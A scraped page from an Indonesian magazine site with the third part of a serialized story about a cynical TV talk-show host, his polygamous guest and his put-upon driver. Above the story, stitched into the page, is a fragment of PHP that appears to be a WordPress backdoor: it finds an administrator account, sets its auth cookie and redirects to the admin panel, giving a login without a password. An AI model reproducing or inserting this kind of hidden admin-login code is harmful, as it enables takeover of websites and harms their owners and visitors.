user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Mad Man Show [3]

16 May 2012


Advertisement
Lampu kembali menyala. Di panggung Troy telah kembali siap di-shoot secara live. Ronggowarsito sibuk membetulkan setelan jas dan peci hitamnya. Dua atau tiga kru memberi aba-aba kepada penonton untuk kembali bertepuk tangan. Wajah Troy kembali tayang di televisi. 


“Cinta itu pekerjaan hati. Jika seorang pria yang berpoligami memiliki cinta yang lebih kepada salah seorang istrinya, itu manusiawi. Begitu kata Ronggowarsito, seorang pria beristri empat dan berputra 40, narasumber Mad Man Show, pagi ini.”

Troy berekspresi lebih ganjil lagi, ketika dia bersitatap untuk kali kesekian dengan Ronggowarsito. Seperti sahabat karib yang terpisah selama bertahun-tahun. “Pak Ronggo, asyik sekali berbincang dengan Anda. Tiba-tiba saya merasa poligami selezat spaghetti.” 

Suara tawa sambung-menyambung di seluruh studio. Troy lalu membuka salah satu e-mail, lalu membacanya.

“Ini ada e-mail dari Citra di Jakarta. Dia menanyakan pendapat Anda, bagaimana jika seorang suami berpoligami, tapi kemudian anak dan istrinya telantar? Bagaimana pula jika pernikahan keduanya sengaja disembunyikan, supaya istri pertama tidak tahu?”

Troy menoleh pada Ronggowarsito dengan alis terangkat. Pria itu segera tanggap. 

“Jangankan beristri dua. Beristri satu pun, kalau istri dan anak telantar, ya, jatuhnya dosa besar.”

“Anda ingin mengatakan, poligami itu bisa menjadi suatu kebolehan, tapi juga bisa haram, tergantung niat dan perlakuan sang suami?”

“Saya tidak mengatakan seperti itu. Anda yang mengatakan seperti itu.”

Troy berusaha tidak mati kutu. Dia putar ulang ingatan apa saja yang berhubungan dengan pernikahan dalam Islam. Sesuatu yang asing, namun sesekali pernah ia baca, sekadar untuk referensi. “Pernikahan itu hukumnya boleh. Tapi, ketika seseorang menikah karena ingin menguasai harta calon pasangannya, hukumnya menjadi haram. Bukankah begitu?”

Ronggowarsito mengangguk.

“Artinya, hal yang sama pun berlaku dalam berpoligami? Jika niatnya buruk, maka pernikahan itu menjadi haram?”

“Kira-kira begitu.” Ronggowarsito menjawab cepat, namun lirih. Tidak tegas. Sangat berhati-hati.

“Kalau begitu, lebih banyak poligami haram di Indonesia.”

Komentar pendek dengan tekanan suara santai dan relaks dari mulut Troy memerahkan wajah Ronggowarsito. Pria 40-an tahun itu menggembungkan dadanya, mengelola emosi. Tidak terlalu tampak, karena dadanya tenggelam oleh timbunan lemak di perutnya.

“Serius kamu mau pulang kampung?”

Troy bertanya dengan seperempat konsentrasinya. Melirik Ujang pun tidak. Mobil merah yang mereka naiki membelah Jalan Juanda. Perjalanan pulang dari studio yang kaku, tanpa obrolan seru. Ujang berkonsentrasi penuh di belakang setir.

“Ya, Mas. Kasihan anak-anak. Tidak ada yang mengurusi. Neneknya sudah tua.” Diam sebentar. “Tapi, Iroh tetap di Bandung, kok, Mas.”

Troy masih sibuk dengan file-file di tangannya. Lembaran-lembaran memusingkan. Di atas kendaraan bergerak, ‘memusingkan’ mempunyai makna yang sebenarnya. “Bukannya anak-anakmu sudah biasa jauh dari orang tua?”

Dingin. Sedikit sinis.

“Ya, dulu, kan, neneknya masih kuat, Mas. Sekarang sudah sakit-sakitan.”

Troy melemparkan tumpukan file-nya ke jok belakang. “Kalau kamu lembek, sedikit dibentak saja sudah melempem, kamu tidak akan pernah menjadi apa-apa, Jang.”

Ujang diam. Tak berani menjawab sama sekali.

“Berapa usia kamu?”

“Dua puluh tiga, Mas.”

“Halah! Kamu juga yang salah. Umur 23, anak sudah tiga.”

Ujang diam lagi. Dia makin tidak paham, apa masalah yang sedang mereka obrolkan. Soal dia yang ingin berhenti bekerja atau soal pernikahan dininya empat tahun lalu.

“Kamu tahu umurku berapa, Jang?”

“Dua puluh lima, kalau tidak salah.”

Troy menoleh. Dahinya berkerut. “Kok, kamu tahu?”

“Saya lihat di infotainment, Mas. Kan waktu itu ada pesta kejutan di studio.”

“Ooh....” Troy menoleh lagi ke arah depan. “Aku dua tahun lebih tua dibanding kamu, tapi semangatku untuk terus maju masih bagus. Kawin itu memenggal mimpi-mimpi kamu, Jang!”

“Saya kan bukan orang sekolahan, Mas.”

“Bukan berarti kamu nggak punya mimpi?”

Ujang memasang gigi dua, ketika jalan di depannya menanjak. “Mimpi saya, ya, yang saya punya sekarang, Mas. Kawin, dapat istri baik, punya anak, punya pekerjaan.”

“Nah, kalau nggak kawin buru-buru, kamu kan bisa punya nasib lebih baik. Sekarang gaji kamu ditambah gaji istri kamu saja masih pas-pasan untuk menghidupi anak-anakmu, ’kan?”

“Mereka kan punya rezeki sendiri-sendiri, Mas.” 

“Halah! Kamu keseringan dengar ceramah, Jang.”

Ujang tak menanggapi. Dia tahu, kalimat apa pun tidak akan sanggup membuat Troy menyatakan persetujuannya. 
“Terus, kamu mau ngapain di kampung?”

“Jadi buruh tani atau mungkin sopir angkot, Mas.”

“Nah, masih lebih enak kamu di sini. Nyopir mobil AC, makan terjamin, ketemu orang-orang terkenal. Kamu mikirnya gimana, sih, Jang?”

“Ya, kalau di kampung kan bisa sekalian menjaga neneknya anak-anak, Mas.”

Troy melirik sinis. “Kamu mau naik gaji, ya? Ngomong saja. Nggak usah muter-muter. Pakai bargain segala. Seperti pejabat saja.”

Ujang tidak memahami keseluruhan makna kalimat Troy, kecuali tudingan bahwa dia meminta kenaikan gaji. “Tidak, Mas. Saya tidak bermaksud begitu. Saya benar-benar ingin pulang kampung, karena ingin mengasuh anak-anak dan menjaga ibu saya.”

“Kamu sakit hati karena sering aku marahi?”

Ujang kembali menggeleng. “Tidak, Mas. Mas Troy kan marah kalau saya berbuat salah.”

Troy tidak terlalu menyimak jawaban Ujang. Telepon selulernya bergetar. Dia merogoh saku jas kremnya dan segera menekan tombol ’yes’. Atlantis di seberang telepon.

“Akhirnya kamu membuat pilihan tepat, Miss Atlantis.”

“Itu karena Mad Man Show cukup objektif hari ini.” Suara jernih, segar, dan menyenangkan, memenuhi telinga Troy.

“Oh, kamu lihat Ronggowarsito hari ini?”

“Ya, dan aku sangat ingin mendaftarkan dia sebagai penjahat perang.”

Tawa Troy meledak. “Kamu pikir dia Saddam Husein?”

“Saddam masih lebih baik. Paling tidak, dia bisa menulis novel.”

Troy merendahkan suara tawanya sambil menggeleng-gelengkan kepala. “Jadi, aku bisa memastikan kamu datang minggu depan, ’kan?”

“Tergantung performa Mad Man Show sampai akhir pekan.”

Troy memilih nada khas, seperti sedang berbicara pada anak kecil. “Hati-hati. Kalau tidak datang, kamu bisa berurusan dengan bapak jaksa.”

“Apa kamu tidak punya ancaman yang lebih bermutu, Troy?”

Tawa Troy kembali pecah. “Aku lupa bahwa kamu lulusan sekolah hukum.”

“Sebab, kamu hanya ingat aku bisa meramal, ’kan?”

“Bingo!”

“Kamu siap-siap saja. Aku punya ramalan khusus untuk kamu.”

“I can’t wait.”

Selesai. Troy menutup ponselnya dengan senyum kemenangan. Dia segera sibuk dengan rentetan pertanyaan yang akan dia hamburkan kepada Atlantis. Dia segera asyik dengan dirinya sendiri. Sudah lupa dia bahwa beberapa menit lalu dia cukup serius berbincang dengan Ujang. Sekarang pria desa beranak tiga itu telah kembali pada posisinya semula: sopir pribadi yang tidak pernah memiliki hal penting untuk dibahas.

                                                    cerita selanjutnya >>


Penulis: Taufiq Saptoto Rohadi 
Pemenang Penghargaan Sayembara Mengarang Cerber femina 2006




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?